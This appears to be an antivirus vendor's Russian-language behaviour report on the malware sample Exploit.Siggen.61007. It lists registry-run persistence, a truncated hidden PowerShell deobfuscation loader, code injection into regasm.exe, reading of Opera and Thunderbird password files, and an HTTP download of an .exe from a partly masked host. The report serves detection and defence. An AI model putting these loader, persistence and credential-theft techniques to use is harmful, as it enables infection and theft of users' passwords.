Exploit.Siggen.61007

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'UrGaSWWb' = '%APPDATA%\akIxmfT\tudoL.exe'

Создает или изменяет следующие файлы

%APPDATA%\microsoft\windows\start menu\programs\startup\dmcertinst.url

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function bd867 {param($q26b376)$t46283='of2b8b';$oe1a5='';for ($i=0; $i -lt $q26b376.length;$i+=2){$y49782=[convert]::ToByte($q26b376.Substring($i,2),16);$oe1a5+=[char]($y...

Внедряет код в

следующие системные процессы:

%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe

Читает файлы, отвечающие за хранение паролей сторонними программами

%APPDATA%\opera software\opera stable\login data
%APPDATA%\thunderbird\profiles.ini

Изменения в файловой системе

Создает следующие файлы

%TEMP%\nu5j9lzz.0.cs
%TEMP%\t9lb8k9h.dll
%TEMP%\resca53.tmp
%TEMP%\cscca42.tmp
%TEMP%\t9lb8k9h.out
%TEMP%\t9lb8k9h.cmdline
%TEMP%\t9lb8k9h.0.cs
%TEMP%\-qw3ybgb.dll
%TEMP%\resb13d.tmp
%TEMP%\cscb12c.tmp
%TEMP%\-qw3ybgb.out
%TEMP%\-qw3ybgb.cmdline
%TEMP%\-qw3ybgb.0.cs
%APPDATA%\s193d9.exe
%TEMP%\diph4b5j.dll
%TEMP%\res9837.tmp
%TEMP%\3vjr7w07.0.cs
%TEMP%\3vjr7w07.cmdline
%TEMP%\3vjr7w07.out
%TEMP%\csceb28.tmp
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%APPDATA%\akixmft\tudol.exe
%HOMEPATH%\dmcertinst\msg.exe
%HOMEPATH%\dmcertinst\dmcertinst.vbs
%TEMP%\gcnzsr_s.dll
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{2594b740-71ea-4731-b673-59375e275847}.tmp
%TEMP%\res21c.tmp
%TEMP%\csc20b.tmp
%TEMP%\gcnzsr_s.out
%TEMP%\gcnzsr_s.cmdline
%TEMP%\gcnzsr_s.0.cs
%TEMP%\3vjr7w07.dll
%TEMP%\reseb29.tmp
%WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
%TEMP%\csc9826.tmp
%TEMP%\diph4b5j.out
%TEMP%\diph4b5j.cmdline
%TEMP%\csc47a5.tmp
%TEMP%\csc468b.tmp
%TEMP%\csc4582.tmp
%TEMP%\csc4524.tmp
%TEMP%\4ufplmc8.out
%TEMP%\4ufplmc8.cmdline
%TEMP%\4ufplmc8.0.cs
%TEMP%\3ujfu79p.out
%TEMP%\3ujfu79p.cmdline
%TEMP%\3ujfu79p.0.cs
%TEMP%\sgewc7bz.out
%TEMP%\sgewc7bz.cmdline
%TEMP%\sgewc7bz.0.cs
%TEMP%\nu5j9lzz.out
%TEMP%\nu5j9lzz.cmdline
%TEMP%\res4525.tmp
%TEMP%\3ujfu79p.dll
%TEMP%\res469c.tmp
%TEMP%\res4592.tmp
%TEMP%\38zvofut.dll
%TEMP%\res6724.tmp
%TEMP%\csc6714.tmp
%TEMP%\38zvofut.out
%TEMP%\38zvofut.cmdline
%TEMP%\38zvofut.0.cs
%TEMP%\gf_gpaj2.dll
%TEMP%\csc55ae.tmp
%TEMP%\res55bf.tmp
%TEMP%\gf_gpaj2.out
%TEMP%\gf_gpaj2.cmdline
%TEMP%\gf_gpaj2.0.cs
%TEMP%\4ufplmc8.dll
%TEMP%\sgewc7bz.dll
%TEMP%\res47b5.tmp
%TEMP%\nu5j9lzz.dll
%TEMP%\diph4b5j.0.cs
%WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357

Удаляет следующие файлы

%TEMP%\res4525.tmp
%TEMP%\-qw3ybgb.out
%TEMP%\-qw3ybgb.pdb
%TEMP%\-qw3ybgb.dll
%TEMP%\-qw3ybgb.0.cs
%TEMP%\cscb12c.tmp
%TEMP%\resb13d.tmp
%TEMP%\diph4b5j.cmdline
%TEMP%\diph4b5j.dll
%TEMP%\diph4b5j.pdb
%TEMP%\diph4b5j.out
%TEMP%\diph4b5j.0.cs
%TEMP%\csc9826.tmp
%TEMP%\res9837.tmp
%TEMP%\38zvofut.dll
%TEMP%\38zvofut.cmdline
%TEMP%\-qw3ybgb.cmdline
%TEMP%\resca53.tmp
%TEMP%\cscca42.tmp
%TEMP%\t9lb8k9h.dll
%TEMP%\gcnzsr_s.dll
%TEMP%\gcnzsr_s.out
%TEMP%\gcnzsr_s.0.cs
%TEMP%\csc20b.tmp
%TEMP%\res21c.tmp
%TEMP%\3vjr7w07.pdb
%TEMP%\3vjr7w07.out
%TEMP%\3vjr7w07.dll
%TEMP%\3vjr7w07.cmdline
%TEMP%\3vjr7w07.0.cs
%TEMP%\csceb28.tmp
%TEMP%\reseb29.tmp
%TEMP%\t9lb8k9h.out
%TEMP%\t9lb8k9h.0.cs
%TEMP%\t9lb8k9h.pdb
%TEMP%\t9lb8k9h.cmdline
%TEMP%\gcnzsr_s.cmdline
%TEMP%\38zvofut.pdb
%TEMP%\38zvofut.0.cs
%TEMP%\38zvofut.out
%TEMP%\3ujfu79p.dll
%TEMP%\3ujfu79p.out
%TEMP%\3ujfu79p.0.cs
%TEMP%\3ujfu79p.pdb
%TEMP%\3ujfu79p.cmdline
%TEMP%\sgewc7bz.0.cs
%TEMP%\sgewc7bz.pdb
%TEMP%\sgewc7bz.out
%TEMP%\sgewc7bz.dll
%TEMP%\sgewc7bz.cmdline
%TEMP%\csc47a5.tmp
%TEMP%\res47b5.tmp
%TEMP%\csc4582.tmp
%TEMP%\res4592.tmp
%TEMP%\csc4524.tmp
%TEMP%\res469c.tmp
%TEMP%\csc468b.tmp
%TEMP%\nu5j9lzz.dll
%TEMP%\nu5j9lzz.0.cs
%TEMP%\res6724.tmp
%TEMP%\gf_gpaj2.pdb
%TEMP%\gf_gpaj2.dll
%TEMP%\gf_gpaj2.cmdline
%TEMP%\gf_gpaj2.out
%TEMP%\gf_gpaj2.0.cs
%TEMP%\csc55ae.tmp
%TEMP%\4ufplmc8.out
%TEMP%\res55bf.tmp
%TEMP%\4ufplmc8.cmdline
%TEMP%\4ufplmc8.0.cs
%TEMP%\4ufplmc8.pdb
%TEMP%\4ufplmc8.dll
%TEMP%\nu5j9lzz.cmdline
%TEMP%\nu5j9lzz.pdb
%TEMP%\nu5j9lzz.out
%TEMP%\csc6714.tmp
%TEMP%\gcnzsr_s.pdb

Сетевая активность

TCP

Запросы HTTP GET

http://su######su-9769.blush.jp/CJ/JJJ.exe

'ap#.#pify.org':443

UDP

DNS ASK su######su-9769.blush.jp
DNS ASK ap#.#pify.org

Другое

Создает и запускает на исполнение

'%APPDATA%\s193d9.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function bd867 {param($q26b376)$t46283='of2b8b';$oe1a5='';for ($i=0; $i -lt $q26b376.length;$i+=2){$y49782=[convert]::ToByte($q26b376.Substring($i,2),16);$oe1a5+=[char]($y...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEB29.tmp" "%TEMP%\CSCEB28.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3vjr7w07.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCA53.tmp" "%TEMP%\CSCCA42.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\t9lb8k9h.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB13D.tmp" "%TEMP%\CSCB12C.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-qw3ybgb.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9837.tmp" "%TEMP%\CSC9826.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\diph4b5j.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6724.tmp" "%TEMP%\CSC6714.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\38zvofut.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES55BF.tmp" "%TEMP%\CSC55AE.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gf_gpaj2.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES47B5.tmp" "%TEMP%\CSC47A5.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES469C.tmp" "%TEMP%\CSC468B.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4592.tmp" "%TEMP%\CSC4582.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4525.tmp" "%TEMP%\CSC4524.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sgewc7bz.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4ufplmc8.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3ujfu79p.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nu5j9lzz.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gcnzsr_s.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES21C.tmp" "%TEMP%\CSC20B.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES21C.tmp" "%TEMP%\CSC20B.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gcnzsr_s.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEB29.tmp" "%TEMP%\CSCEB28.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3vjr7w07.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCA53.tmp" "%TEMP%\CSCCA42.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\t9lb8k9h.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB13D.tmp" "%TEMP%\CSCB12C.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-qw3ybgb.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9837.tmp" "%TEMP%\CSC9826.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\diph4b5j.cmdline"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6724.tmp" "%TEMP%\CSC6714.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES55BF.tmp" "%TEMP%\CSC55AE.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gf_gpaj2.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES47B5.tmp" "%TEMP%\CSC47A5.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES469C.tmp" "%TEMP%\CSC468B.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4592.tmp" "%TEMP%\CSC4582.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4525.tmp" "%TEMP%\CSC4524.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sgewc7bz.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4ufplmc8.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3ujfu79p.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nu5j9lzz.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\38zvofut.cmdline"
'%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней